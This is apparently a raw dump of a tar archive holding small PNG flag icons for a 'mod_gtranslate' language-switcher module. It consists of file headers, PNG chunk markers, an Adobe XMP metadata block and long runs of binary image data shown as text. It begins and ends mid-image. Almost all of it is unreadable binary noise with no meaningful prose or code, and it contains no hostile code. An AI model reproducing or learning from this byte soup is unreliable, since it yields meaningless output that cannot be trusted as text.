�7��	�۷�:�?v��?�s��7���(q�1ъ,@j� �'���F���!zfV�W�8$`b��t ]�rٙL���_�u�f/�Y#K�H���IC?[*�1 9��2GJ,����lP_"<{��	]��b[�P�]�gٲ�$���P�R�٭�]ʩ7t��&��P�Բt8˗_S����[�Q@q2yD���o��#�eVk��j]����Z�����ҟ�%K�\S�o��&�p^&0IEND�B`�mod_gtranslate/tmpl/lang/48/lb.png000060400000001173150746170550013012 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��n�@������	�*$��\r�x} ��'��
���xЊ����9�VӐBUd�#Y�������ٱM)KF����;�90j�$d���ٳ|>��<����<��?y��QL���勤�_�?���{0B��Eӻ�̮���M��w�n�ɦ�A��ܡ��،�f�$�xW����1w�v:;�u���P�QU��Uߴ�t��U\�UU!���*��MG!�P�Dg���MG
e@�<0j<#*�(�� F>V��S(��De"��#��0k=�h�Fe"�s�NX7�OI^�̞������ ŏ[��=@���(���=�YN����<#S����Pv=���
�R��d6������إ��gg��E�[d�c?�y�|���%f$��͈��(�$x�c��6_��h� Ð�@6���9�-��`�\,��x�<�qb�>��I[�$%pi��������L($ �BIEND�B`�mod_gtranslate/tmpl/lang/48/ru.png000060400000001047150746170550013043 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KN�0�?g
�/!F\�-{�Œ��d�
8�!Fbh�mӡ�T���7�ڤ�_���8��D�Dp+
��@�0L��v�6���O�n`�>Qm\�PP��P���3���nCLzs\q}��PsfuK�(�eyC��[�?�Y������n+\����~�p��2���c������dP�U�%�Q�5`�L�7;��.�|������qF!���
wn���h.5]�@JB����\�P'�\�%f��EK��8�2Û�K+�d`�f`5Z�e}�6�8꣐� ���>�w�ua�� �0r0�>�vw�#�W�T�6/,R�w�OZ$s�<�H�{
3_ �< ��<�]�M[[!7�
p7}�X�P�c`l���0?�&�9A
L���@�2�,�ֱ}�IEND�B`�mod_gtranslate/tmpl/lang/48/vi.png000060400000002226150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx���ke�?���lv'5i��D�Ei�y(z+A� �T�
^<xӓ��҃�ڳ�Ws�UA!���4�l��yg���0;�3�ݐl���>�0�̼��}~��U����p����0����&��x�7q��ߺ�K*B���FM���	�mDP琇����f̸�Z��F�~�~7������`�a��s�O���wG��$sR߼Ϥ�s�@@M4Ia>�$ EN�ڌG�I+�J�ޞ,��d�2�"�YK��k����_׫YhۢR5!k�7!����ԛ/�ڲ	�s0@כ��@�z��rP��V+�sIq�!���5G���?n��D�q\q�4Et0�@x��$�_�����ea����@��/��E���"�_�4E��Z5� �+}P�A�f�w��bC�T3��)���{|e��Z�,HV�w_��fd�����ʉ�!��3,���^���)/@
�՘�B��F은�/:�	�K��̒�<��g�]��x<��l���MH�+��L�Uq�ތ�}�?$<��!�Y�^��3�~1����xe��ĹM�J�>�׈���D�l*�:���M��G� 3悡{�$+WO��}C�f���F�K>d�q�fH��9�X2\p/Gc|���,�2������f|�1��5�.w��*��Y��r�z�-
f��Z%��u
�j?�Y��.� u�� Tʓ
4�
��S.&�����Q�{�"v>� I0Xu���b�F
"�kV��Mh����:�Iϋ�!�������p����#�-|��n��<j�R��k��*W��m/���;d�����-���ҽ26���7�<��aT�ϛ�	?N\>'�~��`#��/�>�~�@�U����FR������J�z$ǜP38e5g��5�baD�;���
<�?�&��(
5�I�L�4`
>����O܄Ja4G���8S
�}�ޣGM<"px�<Ӱ�����3�k�(���~``�?��V�`!�_1IEND�B`�mod_gtranslate/tmpl/lang/48/hy.png000060400000001423150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���n�0�N�nK��h�=V��7�#p�Cߌ+g$^�3�3 -�v)���l�n��S�aGZّ�^��?3�8��HY2�9�9���w���S����x�ommUX��j� E��}��5Sc��Ӥ6_��e�����
::lF���s�}��ϳdZ��f�dk�`�
`�c����s3õ����c���[�Ow��ۏ��3�P�B��x�T�k��o��t��j]���C�ou�.�B�B��@�pM�bUhRPL�����*�P%��j�6	VUX�E���0\�Z+K�J��<Q�8�x1|���� � �S|~�5YH~T�2�%2�����fuw-�9�s�E9.k��%.dF��*��8�Ŧ4m4���cx��9g��.����vBˀPGM�-|�a��`T&��ݥ�1���I��L r��,sDљ�ˌ��r
��|�g'{mb�
�]���r
�%T�.ԺOJ���e`�k�L��F1G^-�����Co���$€�ZVV6L��=�7��Wʣ����	�%�w��q4�6b��������_C�;����g������B�bn٤�s�������E���'��/�GG�yi�mS�
8r�/�sssT~�0����G�IEND�B`�mod_gtranslate/tmpl/lang/48/bs.png000060400000004447150746170550013030 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pT��?w��݄d��CD�e�A�@�2S5j|0����b���v���T��)}X-��)CE�֪�A� � RyBD��w6�W�>�=��&ل
/�S��w�=g������{��ܣ)�8������"p���;
��>��X���_�
�]Rȸ1�9X�̃�<l���)��������vk�x�����Zf�:�5�3f�`ʾ1�H$����9x��vٰ�Z�����(�ND����1yd�§�~y@��C�`�����m[5�~��Ô�Q4�Ĉ4E	5�,z����*)ĵ�#L����[�X��^Z�&JA^n&R*���"��N(f1}�hJ�?��L/��-aǮZ�|kf��>��g;�o�5�)u���Nz�H��u-	�B����
ە8��wx���T~�@[[�����p[!���O˞�t�	J�r���{��1�9˜�kG�8��-�$��m7�ş���3X�‡���c�[\0y$>�F4$y��1�$����R�i��"��!$�-�m�����r�-�m�&o`6��\RzM�1*�fLK�?�c��v3��7n�m�MԖ@I�E��ضH�@)�<C&3f����B��|�u�4v�e��	5*,)⎛��sk����Y����"n:��H�0(^Y���Cs�>�"���ˉ��i�yf�8��QΙ؄�COt��5�T
���2���W�_�����P["7/+f2~�<�$v�Ţ"v�����@Z}�N�L��h@��wHE�g�E�����O�,L�q���X��>	7�D�<�b��C&6#ڽ}�]� ܔ��$w�,'�VS��0x
���|}�h~��)��㑇K��j���S�~�I<��L,��Itا{4d*�J��qS%}� �^���уYП�@�.)�ro��w?1������Kjp�@]�i��UȓB�%0S�S�%0m�e���?.��ʪ&|^+gB�p2�R�x�g�n�`�Y�/Lv��n�R���=���穅�W
��g؈<,n�[��?bC�~\;�{zO?j1sZ
N��{�Nj����u!�G�[R�#�5��1c��|�r�5�	��ر��O�e��(�{t*�_�̩��?g8�)�z�.��h����=���� ����ᡟ��bw�����wO���ML9�;�?a�
�JՀB*Rг}h ���V��������0~��iӹ�(ߔ�/�J>��G�I	$_d�EIubp%���ҫ۸��%�8w(P*Ν�3킑(7L}cs旲��#$�<n���nj6*��Z��+T2
�bq���}���RU�̹��p�b�x�
��x�j�p�=������@]�\����L�=�
Ti�[���(
�Gc��-�l$'����x�����V��ڂ��SʆM�O�c�T��A��^��{4���)x�_�ر��Pkeڌ>s�NϤ��˜��P�y�1����/A 5��L�m/q.�B����Fǘ�
='���*��E̺f	qK e�[�p�Ņ(7D�-��ﺔw���6;�L�th@�z@�^c?]����U8�˚U{����AF�1���~�[n.ᡇ.���Ŕi�	��̾�R��Ψ����1_���h)!D���uO6��H�|�����6�bdAV��æ�P.f�Í���z��r�h���]*��W)��c���G'%��W�ā�A�B���i���ԉ�<|��ٲu(�l�]��hI���B��<xb�
#/��||�I�p�e�"(�ΝߝƜY�(��.�����ǃ{vg��uO�R}��W�B����(]�@EEg
e��󸪬�X��9�#x㭝�]Yŕ��x��U��W�������7q_3)�P~/���t�~�^F��1~�`,[�q�g���fQz땼��C���L%@gz��E��o�bo=�M�ne���0C��0(�G���5߿�5���4N�zz@�eُ��q�6Dɴ�0u��	���ם���'�n1�3�2֕���N�p��'��Ɲ����7���5����ۅ�aV�,KPtv>ﭩ`�����+x�鷙R&��T#yP@$�ʾ����lr6��#tl���I�˂�p{h)��D�v�08|���4;���R Y�L�"ک��SN8E�+-��s2�h2�IEND�B`�mod_gtranslate/tmpl/lang/48/fa.png000060400000002534150746170550013005 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왽oE�3;{{�w��g�EB�L"*� ��
���&|�QP!�!u@�\ْű}��>�cv�P�mL�@�d��t�ݼ����fޛY彧ɢi������R*" h��7n���s�իW���A����?e���y�ʳ�2���ew ��#�H�1�S�:��j?J���էu�ޓBh��8*qg������o��1����s%�R/��SJ����e������I����T�Q	t�+V�F�
p��{ʪ�t�(��-P'(��t���8/<�wP5@�[r��k̵;��!-&Z��&bX��hM۴��ȫ�(Ѫ^ac[����1�gC:a�C�M�A6��8]�����a 8$
�v?�0,�X�Iˆ�*���hE�p^��\d����{�pu�mJg��1*3��Vȝe\�h��alsJ�p^h���r��BV��i9�Q�ӏ:�cEZ�������bH��el�^vH'�Q@)�a���!Jy
W�ۜPkf{3��Rp�{���RB)�4�jT�������I��o-vm
ɲ'��v������B���vP���w��L�2�+?`.]�m�C��£P��m��\��x凩zbj��"z�&vk��Q�P�ީ��&��7�~�	w���P�
��A��Q�������k�v}���o�;�Mk�ֳKDחqi��T���$���F�C\�]_���4���&"�J����&߯`�\!��K�o�	��o�w�jk���	ff{.�=Z�%sܘ@03C��+ss�����]�_�
S1�����b�����zT�Ƿ^ƥ)����p�Z�j��IRUa�!���G$O?��98���`n�3�x$��IZ�#��,A?��f�	� �	��@���,C�1*�9|Y�Eн>��9��`��L&������պJ#����eh����mtn�k�^���CкN<{t;ƫ:���]t�T����Z-P�I���F'	2C�t���Lj� @�!J)$MQ��Bn��$��B���A��������ъp�b�.\�o�~ơ��hFER)�po��ޟ$�����B�Ѩ�㽩1���gb� (�Nn%���#��h�h,���\�E��vJ�!���M<�;\n�
3~���_/]8�n��P���?88�O�_����9�qIEND�B`�mod_gtranslate/tmpl/lang/48/am.png000060400000003156150746170550013015 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��]l\��s?�����؉�0I�Ld
JU�
�>���R�H����R����*U�R_�B�S��--jH
I��$B�Ib�8��[�]��{��v�٤N�]��V���Ν��Μ�=��9gF��,].�V��P�$yW��9/��ǝ����^.u��/<���	®ѻ�J�����B5�I�XÕp��c�"וo$�B���\��
����ÒZ[����g7{w�6�zW]�^˽�#���[��fi�7Sf�gr���6���E#�ʺ�%2����d4ƶX�"�F���EH�jZ�fbBw���1ֲ�'Y��5�:&�+`%(G����b���E��Xk8S�[Kh"B-_�b+	��4z!�Bp{c��*No������$����n�BV"
dz�ʇ֣�e��O����A�G�4�X��ɋh�j�G�P�ʩO<��zz��(g-H�R4y�p�_H�Ww�o�3F��,�k��-`-#��!^��>2=),}�vi+�z[���j �5���7�4����S.Ya8[������,��X��HX�r%��T��u�/`�D�_�>�p�H.Y��=�yS���We�x(��شԩ��wom�q$1=�c˖���\��\�pω8���5����7�&x��q�^�n��m^0 �
(]uسoC#���P �<�p����)d�M��{���1�����\?{��΃wOӓ
��T�&y�RH��Rq���L�B��ޭ�l�}���k�>��#��?<LP��:�˗��f��	JW>>�Dž��q�u�7-`A:	��ň���W��[�}����9�����|��z����ys�6HE�B����E�[-`$k?�1	W�{���$�������m�y�1u� r8yf
�
x���5�D�q��c���aݨh?��1Zb�X	A8vj��T�w�0/>������|7�d̉�<ʱl/�i���J��m���E)�ɫv$�	x�kGy�'�C6 ߿@:���ˡ
T��=�>�@203ׇ���o�?P�Ɲ��"�Xd:1�qx��C�:�TR��t��gx폓�wl=�����d$_f�x��d��'�oL���g����K����xn���@�b�������t)]��0�m�Z����!p-���Q�[?{��u�rPi{��fk��@����V೯��l���7
�~�od?T_go�P�^��E<Q1�Ξ�%y�ۆY���B��n�z�@Ƴ�""t�S-Q��j萣�k��j�9�����5(���
_�f����S�i�"t��ň,��'�1�8���ve|�ԗ���_ۇʣ���~A�]Z����b$k�@-�Oo�|8��	
�ʵ�RM�x�JEK����X�����ʉؖiԊE�����Ja�]��iQ����c�k��A��6�d2]G%/��O�����(`��2�/G��l#�&	��Z=�_�
`��T���k?µYCIEND�B`�mod_gtranslate/tmpl/lang/48/zh-CN.png000060400000002047150746170550013335 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왿o�T�?���e����N� !D��:��hQ*$Z��)�E�
���@EC��$ĝ"Q�t�\.{�����1Ca;�:��!�
;��~��w�����U���pYX��0@t�}�$Yl���ۇM|����r+�*J�ΫW��5�	�[���Ͽ���*H@���j������y���[Bo�3�&!�רT�7s<O.3O���Y��IT�bTC�y����xp���@
���שk��g�g��3g�-��<�!�HE�Cݩ/�5e�
˳O��uUd�o ����ޠr�K��ϛ3��8�U���AS�0]O�a�S��dr�����2���{��ٿ �\�s��%�[6vQ_Q��}Ͳvdh�k�gSG8P���䡸o�l�b
����>�ގ�������F��h�.��d��R"�f�Ɓ�,Em�߃��@�E{����u�c{�[Y^լ�@��et�d�p�C����7��:�sBW1�2�x��nA��,�M��}��v�o(�`v�dnn��q�a�{�x�	���dY�߇�o9ayxG�rN�*J���ܮ��"Ss��I���KV�7�hS��A�a�����Uh�ė����)O����B�P���GW�e+��o�~����Dޣ�jJ�}C�4pb��f���f��n���C��U���+��K��a��"�t
��
������2���zuU���~�q�%g�7��}�s�͛5�9�#A��B!�X�@/���V�J��}Z�@��Ϧ�@�&���4�S-RDQ�"��\t�0�1�S�R��5���Q������
`��e.$�닖:7�� U�	8��JI٩�F4P�n/�
S�	pߐ^�(�M��՗����k���;�O�&�IEND�B`�mod_gtranslate/tmpl/lang/48/ar.png000060400000004712150746170550013021 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	PIDATx��il\W�o�73��-��8v�&vm�MIԄ.����+���V*_@�T��UBH|DW�Z	��hE
MH�V7���q�$��-�ƞŞ�7��ˇ'�N�	Y䌮޼����9��jJ)V2�p����w`��uEPCC�,,l6jkk�&x��V����
J��-+�����929�5�D"�`&@-бyR����S��)�����bc�yr�H��2��8R�H�������R�+ ��l"h�w̿�4��e�%�4�"Ú�����]֜d�a��|��!���R)l����h�D^c�2�5&:e9E�N��W̅�B�\5r�w!Y��B 3����"�-R�]9�ö�VK��F@���p��C�@7?��H�,	()2�����L�ʩ@��>����ˋi�h
r]^L�10\�\��K`����L�$�$��딀�1����Y�Jy���X��}�ɦ�Z�Vn�2P���81q)m�a]��K��c#��ޅ�"��c��(���!h(���U-l��gf.Ɓ�#�̜e �h|2YC]~=��7���h:���tM��i,�}p9.���J�H�i	$�eP
RI�Pw�o����I�zz�x/��^B6Xh��@����I_�8�ZZK�xf�üѹ�}���]�0Rb���E9RO%I,��G���u�0����&N0��vT�U�J)&�B�	MS����p���6>�Cn'���O��,���;f��6*%q;I2�DN���fn[��Hh�W;_�0��1�r�++����_�T�o'�Osd��F��G���q���ivֵ�1�K��I0�K����̉$q�^�d��W3�����p�7z];�h�Mxذ��h2Noh�C�O�czh*_O̱I���c�,��w����y0w'wU�pl�I'�q�,·t
�D)��$��h���޶�.�O�sx`7n�Ú�MtFβ*PJoh�Bo�i��
K�!�`K�f�
���3��	F�v�/sY_�������;.뚛�J)�Z�#��%�`��b
��O�6�ȳ�Q�_��V�Hd�a!�D(�K7�L(�I���<��i�C&�����ڰS��!�U���B˄)i	�T&Z
U����125�d<NcE=��#%���ܾf���Ǚ��,/n�Ň����)�q��r.����!�'Ʃ�i�X�/r�F�$���%;i
��ul|>Elt�\��o>��,9��0t��D[�x��^>:E$9G"4����N�O��Q�
�@0ȅh�-��"_ޥ�ґ���R��/oS�%����#0	�gi,�c&�*P�٩v�Uy�l�n�@;)�&�&XAS�:��$�#��21;���K�Adv!}ޑ�e��?s5��������l�\K�+@��)zB�D��T��vY�F'q�$`��񕲮|
'GN`h
��O��\J9K�a]�/�S��iȕR�0�	�pGͭ�2��'����'FKa=&:�x��Cݼs�|����(6<����?˹ɏp)����'�X�y��n��#��@ȋI�Z���&�b2�q�F���4��A�?��X���>��n�=�b44��[�և��Ϣk?z���IZ��1P���O��a�"�f�y��h�B
PWfE��m�rh7�+6�m���x��^�.�=�<��|�gw>�Tt�E��t>5�S|�p�}�۪oEj�����珁i�RxP ����XT�d�]�w��s���^���5�"��%��ޗ������~ܮ<��SC��|����o��w�-v�<���z04��s�Xt��ـYP�7�J"�$����*�ͱ�n���i�^Ϗ��$�����soOu�f�s�:V��*@)��B���4��������w�3ܼ;p���Q�uY.�>%��~.�=qnn��M�QY��b�gFJJ�������m|�r-�����7��N[�JC��VU<��m��Q�y�������~GS�����	eȖ@tjʖ��
���6j���6~��Ce���WH��h(_�H9��C�46���r�h��'43��l�����J�n�9����А2�ԇb1ǔ�2	,m,���]�䳣n݃gpY����U�N�v��c�l�4P�޳m���up{�c��C!��xa�f� $�.���v3�<f"a�f�)�)����b&�07����KWejM�W[��+]�J|�c&��g׉wy�7�)����
�>�/���@cI=����.~��w�
�Ǐ����v݃	${η�k��]W$�&�94�_,�_�@�
��3
Լ�A�e$���Yq%v��Fƀh8����
@�
c~��2�K���J�$�n���p�
�S����gz���eIEND�B`�mod_gtranslate/tmpl/lang/48/ha.png000060400000001415150746170550013004 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��AnAE_�'2�!�\	�p��)�p
��!8.��������=�L�`�vf4µ���_~uU�ۙC6�mO`O�'�0^�C2������o����z+/��{�=�Ë7w
��0��>��5>>}�5��O�0VUD�ﳟֈ1�|6�c�����~o��ɭ#T`\�QQYK�����ʽ����YT�EQ�)A"���`�H��-�z�Ms��@4%hE�U�{ d`��MfJ�U�@f�U[Q%�@���&S�10�A�̃Q@Rf1P��9�̃Q�* L�e,����L�w冼��C�=b�T@�U�	!�F���i,�r�뛷
!K�B��sUkׁiU��f�D
�)��W/�\��FK���5�H����a��
_����dmtӖ�n��U�t��B���C]�]�\��Km2Yig��\�V�*x牋/�4�8,�h��\�k��G�HB���7��}���X[5�����͜��V���M�.�B�̏Kl���frf9T���b�B_W5�C1�ܲ�|���g_rr�5�:�
.��u�5gs4>�ܙm1�L.&Y���o�@.n�9�>��7�}���_/-�!Y	�p���=�=�=�^�"��@��IEND�B`�mod_gtranslate/tmpl/lang/48/lt.png000060400000001350150746170550013031 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FnIDATx���n�@�ko�FJ�H����8p��x���+$����Fm���p��ݘ��DGd������~���|^��X����p@	��Մ����r�XTx/ޝY���>���3P�������\�=0BT@/�S�EY���u�Kz;Ƹ�r�tF ��
@nXw�R��Oc���6���!�|��릙�����#�����MPP��mhj	@�Q��UjdD~�Y54��/��hd8�V�<P�zY�x��G�7���qr����BQ��Y����8b��*T�:��D���pU_����ƥ2��SŨO�O��WKS���"���CQu3[6�8j�tA���/�z!�"h�3\�T�%N��M�]�5�eTE�!��¸�´62^��i'k�o�\U�i�?�z�iK��}��;��6�8�||�
/��6�i7ʒ���'^DPU,}��x:=J�P[|y��f�)�NOk�~&�r]����2胣�tESm)�y�9�h��1S��[Fs�,����($EP1��%0B�//1(���c���;��i�Z�
�r���=�=�=�*��$H�%C�IEND�B`�mod_gtranslate/tmpl/lang/48/fy.png000060400000002533150746170550013034 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtSoftwarepaint.net 4.0.12Ck��IDAThC�X�oU^1�h���%*HU���Ay�@U"�D�P���T#%��4�jĀP%��$� ��
�bmݝ�������q�ٹ���3���,�|ɷٜ�9s���=��$ �d�q"��`���D6'��8�
Ɖ��¶:��Í������M��ux�T�{I���l� �
Ѡn�1�� ַ~��2n�`��?����Ɓ�pݒ.6'NJ�t#��>Hκ��ٱ�bSq#��3�Z��<<O
���
������`(�Pn$���T>(@ߺ��o���!�����
'�<Ryp�:�����%�80�#e�T�l��j:27�E�e~/�?z�=��iھn$ğ�-�@߰�^2}�Z�4��R�ֿL�3o�E�6r����V���<�87�$�W���C
��W���n�۶���V�=BSK² ��R�ͤ�V�F�A���C����]t\ 
78�8q�T�,�ٹ�t���n8O@o��93�I�@����L׍ym��2S����R@zE#,(َ��
_��
;��5t�Ȼ���Z�+R��ʂz:^Q�R��C�*w�+ Ӿ��� �W�8N��{?sd�:7L�
k�Ss��;�����&�c7��i��
���)V���`\[�)�@�Jj�o���8�An�Ϯ�OLo��/?A��0GG#[���sni��
\`B�:�(�.�(i�rC}n�/qC@�Q��v�պa�|B>u�t�B����
)6Vذ��T�q�8��6;��z�}�vf�&%0]7�I�3Oʧ��8�&m�Q��J��$�c�ݙ�oR��
T����FLՍ��M(���������?!���Z�	�u#�
B]�4i����G����ƋK�Jn��W��N�w�Jn$n]sN
&��k���H�^�N��D���XCGꆭ��$�c'(�P�k����B�.��ON�Q0�J��pq2z�U*u�]EqM�)�ڰS�^�)�6J�9�z'p�b�2ϟ����P$n`��8�;�p�����1��n8��u�r��������?Eǫu��w��n��>@����t���Λ���K�ŧ�3�����?�Xλ0�ysp@��A�OB��^7
�g YwG���;.�r\�}#P��p-�wRm�K�?6��q5v�P�~k�j�Fh�A�*�r[�X�
Ɖl0Nd�q"��`���D6B��v�@a�tIEND�B`�mod_gtranslate/tmpl/lang/48/fr-qc.png000060400000005547150746170550013436 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:06FFA2AA71BE11E296B8B6DB2DF28BBA" xmpMM:InstanceID="xmp.iid:06FFA2A971BE11E296B8B6DB2DF28BBA" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>7�D�uIDATx��YklU�f����R�Bi��)^"(Qy���F`��$���/�?Ĩ1Fc�&&��F�J���!�(�i���nwwfv�z�����l�15fc�����8�;��sϹ+1�P�EF��i���$���YIE��x�+���O��Wf83�%I�A}A�쭍�C��|��M�K	yq�nЗG��t<�x�@u6Ɔ�K���4Z0���<&a����	�G�3Z��_3���i�$�Ր�c��SGO��G5`�B�FFS�9�aK۱����c�j,�-^1K����H�o@
�(d���6mhơ��І�"����8Ϝw��y�f����9�FKsw�j��峠�����V���}�"Ɠ��<��߇SX��V�Z�:��I'�OU'�s��\O��`����A�S��,�8YLC��%�1���)u�	M"*�@�<��s�e��{�lvp��'m-��0[��$�nT�!$�)
��c��娯	��o
��ݛ�"�C%Sp���\{�R8VԸ"LeӖB��n�!V���7��T���u�9 4���J�����nƒ5�8֍`���v�c��&�������t���'����ܾ5�t�F�MQ�lq�,��7!�FQ���:�x坓X���V�Ao
�~~}W�y_��&�BZC�WV�Ӑ�0� b?.�>��d�+���F\�ū�F_�Ԁ�A����N��V��P��eץt�҃�ߋ��jFwo���>r��#�R���݅�A������S7�>hi��mn��^t~y����:�X�G��y�����(���:��
�q��K���2���j�$mu���ln��#(�x �B�U>�×0�1�__4�Ϟ�:� h����
wSi���~}���0gׄMS)v/$	oY�F����9dzx���&�!�.�e��	i>Ipۀ���_%M�:E'�nj�ʣu��Q%���u�HiE��#�)�A�n��15�[���P4��!�Z4��L�����
�@.�����Y6���SA�gq�����3���>#�۶���3U�=U�p`����O��(d	Y9��11�X�L����xVz���ӳ�=##a��Q,]
���2��'���
��Q��1D(��U�">G<��f)���OO���rY�S�Lb0<)[FF����E=
�Ɇӈ�
���Gq��6��V�$ƛ�̕�Y���
f�1���{=�[o����a��0�?�XmԐ�^�ɒ3��R5M��=��`^5vmm!	QNlE�`��j9��aaN%1���mC�����K�.���nCrN*�}�%���A߀��+��.�eTS[����!���Bk{
^z�R�6K��^'-ΫaIJ�ed�S������G�a���x룳X�VCi�^l��ve�9~�p�s%�Uk18�֮��7><��w�c`hP:�(�-\?dzy��oF{~�ti=����y�MA�`!J:֭n����*�$�a�F��q~�摱�!�d���v��,�\�cǻ1gŻ�@����PEޡ}�Gx���ک�:�+��!e��yb��Q��=���4�����;[ZHQe�߅��0.v���U��*�)+�����l?�j�8�Spq)�.z9��~�"��T��̋�N����_;�������8h��M�E9ъ��?x�2�"���/���ﰿ�W0l��h���\m~��˝fQ�ά�ߤx48nıj(t�����!n����<g�y�'4J�̦�r�tb'Jx�l ��DI$�TZG���K/MK�!�_��3�ͱ�j}���T�H��KQ�YI��LB���~�4�i�i�[�
uE\HIEND�B`�mod_gtranslate/tmpl/lang/48/be.png000060400000002673150746170550013011 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FAIDATx���oUE�?3�u�����VP�>�R(�����h�&,Lt���[7�	�&Q�шqiԠ���@i+ 1Jˣ��}��׌����ҖB�=��%�3s�7��=g��Z��I��i	���;�3�\L�	�\�;�	Z�0��"L��i�M�`���s0�*�~TbEEy&Nj� ���&�H�0�+	�Fn�f�"pB'�Ha<��s��X�����
50��5q�٧���YxdQ!h�jx�ׇY��܂v=���ft*��}��3E��}s�N�k�o���;�3c=�J`ȼ"/����BH����FB2W¡�О��sN�?�'��1dI	�?b5l��?�3�m�4�"���@�9�9h��XS�I��X��y��=?Z<�ҾOx�榍x�M�q�w>��S#f���(p��6�e!�/C]��Q^�5����e���=7b,sTH��!�d��
g�.d<N�ȧ�^ٗ�7b�\t�
�D���ET�e�_O!l�Յ�,�-h7b0��6�\����r�Ө����!8ь޿�@J�	X���df�������jH$P�ht��ڀY[��xu�=:��N�m��#�bj����Y��*�x˄ $���.z^�sAȜ@�,���s�=���p�>��j��<r^@�f�\Y�
y�&��*������q'����5{�d���2�!h� �s�c����K��=h�wGs��s�h�ߏ��^{���L��݄��PW�f���5b��M�!pt:
Rb�[�(NF�0�[�:�?q���"qdI	�#�}�� �ʞ�TN��:���7�L���Q��@�<���7da>Ak�"�G��;�d%��q*�wq*�.���6���~�YF�{g�nDq���ψxQ���Cv�TȔ�vMH`p�~#���O?����vlG���!��R�8��R��z��}����@$��3��z�k�w��y@��K�؄����L+~Sf�j����	��@&ڹ�g�k�m�;�g�/�J멁�ھ����:P��l;��͈dr�
ݭ-�{�Ř�-�R��¡ADq�7�"++0j�q�<���� i�<��{;�_@x�/�=/�;Op�W���t�C��F�^tB��H��W���h@�n��l؂��G�\����u�%D2�xh9Ak�(�(+%lkG�ޏ|�2�����4Fu�C�q���8��p��J���yD�L ��+(&�$F�2�c4�,�D\��Pj8��P�JY\��	���
Ɵ��\`X,��_�`	���?���.s¸�IEND�B`�mod_gtranslate/tmpl/lang/48/es-mx.png000060400000003023150746170550013442 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MlTU��͛��L�iKiˇЊ��TA�b�#1IM\��P���111q�N67�P�D����@
Am��R��VARK�̴��q�q1�4�ʼ�6�=/7��y��9�����a6��,�9���+` ��g��E���5���&����K�N�E�L����2)a.<�=��0Kw�'?۷���p���Y���6_|�c�9��H��E�5q{A�|�ȍ)��
R���܈���`F�#"�!h(<Qx����D2��gSA�gb#�1c��
�ҬW{xZ�	���sK�q����
(�q��������|hW��ڛv��u|�ؠ�9����f@ۇ�\P������sp��w!�إ3�AD+z\Ri�����g��(E(23.�Hy�5���.F08���@�B��I::��Q���)|8��́�?q��EM4ݹ���n/�@�t�3��8�E��N΅��ք+1Vhw���`������W�{���Stv�m۹y�Sc�Ic�>��	Z_Q�M�u�'��8���R�O��=T�A�!>�&���m�6)c�	gdr$(�<6�i��x9�	�l&�a�4(�|������c�����8v�
9hU<�(eR�q�t'�f���|q�]���H�q$�p6�Ϲ�ݬ�m�
bò
10�J���E142H̊b�.a�� g>ދV2��aX�ུ����1��P9�D+*�CC���O���W��Jk����{�G����o�8Dݪ��5R�*��*4�G���0���v�M�+b��2g��
�2N�<K?/H��g��P^�js�խ���
�獲�����7�zt��|�žn���K*9��gq1ؼhMV��š����a��AU�bN�_��w�|�u��:��EO�GU�b�,G��X{����ի���o�Z��@0�K�K���B
Z���������0�{�<����	�^�7��(o��`t!�~�����qa�ɪy
t�xf)5H^�E��֠2���ޅt�&����Rd�}`Y�Jn��vz���1�9��GC�=G ����;�nY
��y�{�>B����1R�5)2��3�)���zs��G{���M��{s��?�8�5��SX���-@�p����� �7>E�����x~]��t
���~i���#�ւ�-T�,YGc�*~8wG��'�$�]�Vn"\�-��E��>A�݅*+kBJ+�@��NTP&�ʸ�1���j"�$w���S.�@&nH� b���Mm���d(k9�R2�5��2n	B�2�����#���1C���:��9�7[H��S_2�.�٭̘]>�s!+fH�P���bF"����h��帯	���篎�Q�/�(��
�hjg��n����L?���ܗ�9��S`F��%�a��3�IEND�B`�mod_gtranslate/tmpl/lang/48/en.png000060400000005163150746170550013022 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	�IDATx��{TUU�?����%��@0%_�+KK|�C��BpL>S[�c*J��FS��Ij������'fd��h���a-J�'(��<�=�=��墨�j�5�=��}{����;��w�#	!h�E������ ��~mNE,F��<=���GOQ��w��$/��t��j722�p1vB��
